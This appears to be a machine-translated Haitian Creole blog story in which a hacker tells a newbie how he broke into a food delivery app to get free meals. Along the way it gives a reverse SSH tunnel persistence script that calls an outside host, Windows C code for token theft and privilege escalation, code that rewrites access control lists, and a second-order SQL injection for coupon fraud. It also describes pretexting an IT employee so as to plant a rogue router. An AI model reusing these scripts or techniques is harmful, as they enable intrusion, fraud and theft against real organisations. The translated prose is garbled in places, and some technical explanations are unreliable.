Fason yon pirat pi wo wè mond lan se yon kilomèt apa de travayè teknoloji yo chak jou k ap antre nan yon konpayi teknoloji. Pandan ke pifò pwofesyonèl konte sou dokiman ofisyèl, direksyon patwon yo, ak pi bon pratik aksepte, yon pirate fè konfyans sèlman sa ki ka manyen, teste, ak chire. Pou yon pirate, konpreyansyon vini atravè jeni ranvèse - dechire sistèm yo apa pou ekspoze ki jan yo reyèlman fonksyone, Lè sa a, ranje yo tounen ansanm, repare sa ki kase oswa eksplwate frajilite.
Sa a se pa sou yo te yon kriminèl. Se pi bon fòm aprantisaj la, yon metòd ki laj menm jan ak kiryozite moun nan tèt li: kraze l, konprann moso l yo, epi rebati l. Li nan panse analyse ak sentetik nan pi rafine li yo. Vrè metriz vini lè yon pirate ka eksplwate aparèy la paske se prèv final la yo konnen egzakteman ki jan li fonksyone - pi bon pase nenpòt lòt moun.
Istwa sa a se egzakteman sou sa - ki jan yon pirate tèt (Benicio) soti nan DeusExMachina ak Simplicius (yon newbie brav) san pwoblèm mwen tap diseke epi finalman jwenn kontwòl total sou yon sistèm konplèks (yon App Livrezon Manje).
Li se yon avanti ki pa sèlman entelektyèl ak teknik, men fondamantalman sou batay pou pouse pi lwen pase limit imen yo, rezoud devinèt enposib la pa sèlman fòse sèvo yo, men nan jwe ak li epi sitou literalman manje pa li—yon karakteristik entru pataje ak. timoun yo.
Limit responsabilite nou: Istwa sa a gen materyèl reyèl piratage aplikab, men sèlman pou rezon edikasyon. Li pa ankouraje piratage ilegal.
Benicio (Hacker): Simplicius, ou sanble ap mouri grangou. E nou kòmande kèk manje... nan kay la? Mwen te gen yon plan pou pirate nan app livrezon manje pi renmen ou a, lè l sèvi avèk pwòp sistèm koupon yo.
Simplicius (Nouvo): ( Ri ) Ou gentan gen yon bagay pou kwit manje, pa vre? Devèse pwa yo.
Benicio : ( Sourire ) Oh mwen gentan fè baz la. Yè, mwen te pale dous Greg nan ekip IT yo a, rale kèk slick jeni sosyal, ak glise routeur pirat mwen an dwa nan rezo yo. Koulye a, nou te gen yon liy dirèk nan backend yo ak aksè nan sistèm koupon presye yo. Ann manje.
Benicio: Tout bagay te kòmanse ak Greg. Mwen rele, pretann mwen soti nan "ekip odit twazyèm-pati" yo, ak Greg - bèl nèg ke li se - gaye tout bagay sou konfigirasyon rezo yo. Anvan li te konnen li, mwen te nan chanm sèvè yo, "tcheke pou frajilite" ak plante routeur OpenWRT koutim mwen an. Bagay sa a se kounye a tunneling nan firewall yo detekte.
Simplicius: Ou sezi Greg pou l ba w yon kat rezo epi kite w enstale yon routeur vakabon? Lis.
Benicio: (Grins) Routeur sa a kounye a gen yon tinèl SSH ranvèse kouri, ki ban nou aksè aleka nenpòt lè nou vle. Men script mwen te itilize a:
#!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done
Simplicius: Se konsa, kounye a, ou te kontoune firewall yo ak aparèy sournwa sa a. Ki sa kap vini?
Benicio: Avèk aksè konplè entèn, li lè yo detounen yon siy ki gen gwo privilèj. Mwen te jwenn yon pwosesis k ap kouri kòm admin, te itilize API DuplicateTokenEx()
pou klonaj siy sa a, epi answit te fè moun admin la ak ImpersonateLoggedOnUser()
. Sistèm nan panse mwen se jis yon itilizatè regilye, men dèyè sèn nan, se mwen menm ki kenbe tout kle yo.
#include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }
Benicio: Men, pou m vrèman fè l chante, mwen te bezwen konnen ki jan deskriptè sekirite yo te etabli. Se konsa, mwen rele Greg ankò, te di mwen te bezwen li verifye kèk paramèt DACL ak SACL pou kontwòl kontab la. Li san pwoblèm mwen tap oblije.
Simplicius: (Rire) Jeni sosyal nan pi rafine.
Benicio: Ok, avèk èd Greg, mwen te rale kòd SDDL ( Sekirite Descriptor Definition Language ) pou deskriptè sekirite sib la, sa ki te pèmèt mwen analize ak reekri DACL (Discretionary Access Control List) . Mwen te modifye DACL pou bay tèt mwen aksè konplè pandan m ap itilize drapo eritaj entelijan pou asire chanjman yo pa ta deklanche okenn alèt oswa leve sispèk. Sistèm nan pat menm bat je!!
Yon fwa nouvo DACL la te an plas, mwen te aplike chanjman yo tounen nan sistèm nan. Bote a se ke, nan pèspektiv sistèm nan, pa gen anyen ki parèt soti nan òdinè . Drapo eritaj yo te asire ke modifikasyon mwen yo rete kache anba règ aksè ki egziste deja, men kounye a mwen te gen kontwòl total
#include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }
Simplicius: Se konsa, ou nan, epi ou te gen kontwòl. Ki jan ou te bat chèk aksè a?
Benicio: (Kanpe dèyè ak konfyans, lonje dwèt sou dyagram ki anwo a) Sistèm nan kouri atravè twa kouch: entegrite, ki baze sou siy, ak chèk diskresyonè . Nòmalman, se kote pifò moun te frape yon pwent, men isit la nan kote majik la vini pous. Mwen te pwan yon siy admin nan yon pwosesis privilejye, itilize ImpersonateToken()
fè sistèm nan panse mwen te gwo bòs nan travay la. Apre sa, mwen rewire DACL yo pou bay tèt mwen aksè konplè. Sistèm nan jis woule soti tapi wouj la.
Kite m eksplike. Jeton Aksè a - ki kenbe SID yo (Idantifikatè Sekirite) ak privilèj - se tankou paspò mwen an. Lè m' enfòme yon siy admin , mwen pa t 'bezwen modifye SID orijinal mwen yo. Sistèm nan te toujou panse mwen te yon itilizatè ki pa gen anpil privilèj, men dèyè sèn nan, mwen te gen kle yo nan Peyi Wa. Sa fè m 'pase chèk la ki baze sou siy .
Apre sa, mwen te abòde deskriptè sekirite a (DACL) . Sonje ke SDDL mwen te rale pi bonè? Mwen modifye DACL la pou m bay tèt mwen tout kontwòl sou objè a, men mwen malen maske chanjman yo ak drapo eritaj , asire w ke pa gen anyen ki sispèk yo ta siyale. Sistèm nan pa t 'menm bat je, men kounye a mwen te gen kontwòl konplè. Sa te navige m 'dwat nan chèk la diskresyonè .
Simplicius: Wi, bouncer zanmitay nou an, Pwosesis Tcheke Aksè ...
Benicio: wi, mwen se tankou yon bouncer nan yon klib . Si w gen dwa idantite ( SID ) epi w konnen pwopriyetè klib la ( DACL ), w ap antre. nan, yo te remèt mwen yon pas VIP.
E apre tout sa? Sistèm nan swa di ' Aksè akòde ' oswa ' Aksè Denied ' . Mèsi a tout mouvman nou te fè yo, ou devine li - Aksè akòde . Nou nan, Simplicius, epi sistèm nan pa t 'menm remake.
Benicio : Koulye a, pou pati amizan. Mwen pa t 'ale pou wout la fasil ak yon kloz UNION
senp. Aplikasyon an twò entelijan pou sa— yo ap itilize deklarasyon prepare . Men, ou konnen, sekirite se sèlman osi fò ke lyen ki pi fèb la, e mwen te jwenn mwen nan fason yo okipe done pwofil ki estoke .
Simplicius : Oke, mwen entrige. Ki jan ou fè jere sistèm nan twonpe ak aksepte yon koupon fo pandan w ap kenbe yon sèl ki valab intact?
Benicio : ( Panche devan ) Men vrè trik la. Aplikasyon an kouri yon rechèch pou valide si yon koupon lejitim, men li rale kèk nan done ki soti nan pwofil itilizatè ou an. Koulye a, yo dezenfekte opinyon lè ou premye kreye pwofil ou a, men yo PA re-dezenfekte li pandan mizajou pwofil yo. Se konsa, mwen enjekte yon chaj nan jaden adrès pwofil mwen an, ki te chita la inapèsi jiskaske aplikasyon an rale li nan yon rechèch nan lavni. Lè sa a, piki dezyèm lòd mwen an SQL choute pous. Sistèm nan pa t 'trape li paske piki a te deja estoke, ap tann pou bon moman an.
Olye pou yo atake pwosesis validation koupon an dirèkteman, jan mwen te di, Simplicius, mwen te plante chaj mwen an nan jaden an pwofil, ap tann pou li yo dwe itilize nan yon rechèch separe. Men ki sa validasyon koupon orijinal la ta ka sanble:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';
Nòmalman, rechèch sa a pa ta retounen anyen depi fo koupon an pa egziste. Men, chaj enjekte mwen an chanje lojik rechèch la. Sistèm nan pa t ap tann piki a paske li te deja estoke nan baz done a epi ap tann jis moman sa a. Rekèt la te manipile nan yon bagay plis tankou sa a:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');
Lè m eksplwate entèraksyon ki genyen ant done pwofil yo ak rechèch la , mwen twonpe sistèm nan pou l retire koupon fo ak valab ansanm. Aplikasyon an trete fo koupon pou tranzaksyon an, men koupon valab la rete entak nan sistèm nan, san manyen. Sa vle di mwen ka reitilize koupon ki valab la nenpòt lè mwen vle.
Simplicius : Se konsa, ou pa t 'ale pou Trick nan opinyon klasik - ou plante chaj la nan pwofil ou epi kite sistèm nan fè travay la sal?
Benicio : Egzakteman. Bote a se ke aplikasyon an trete fo koupon pou tranzaksyon an, men sou backend la, koupon ki valab la toujou disponib pou itilize nan lavni. Chaj la ki estoke kontinye ap kouri nan demann nan lavni, sa ki fè li yon rezèv kontinuèl nan manje gratis , epi yo pa gen plis saj la.
Avèk sa, mwen te resevwa nou yon koupon ki bon jan lò. Ann bay lòd.
Benicio: (Fè defile nan aplikasyon an) Oke, Simplicius, e kèk manje grèk? Mwen panse souvlaki, gyros, spanakopita. Tout sou kay la, nan kou.
Simplicius: (Sourire) Ou vrèman depase tèt ou fwa sa.
Benicio: (Klik konfime) Fè. Manje sou wout li.
Benicio: Apre sa map voye yon rapò diskrè pou yo eksplike vilnerabilite yo. Yo pa gen okenn lide ki jan mal sistèm jeton sekirite Windows yo mete kanpe. Petèt yo pral aprann yon bagay anvan pwochen pirate a vini.
Simplicius: (Panse dèyè) Ou pirate nou yon dine epi kite yo pa gen plis saj. Mwen pral pran souvlaki a, nan chemen an.
Benicio: (Griyen) Jwi pandan li dire.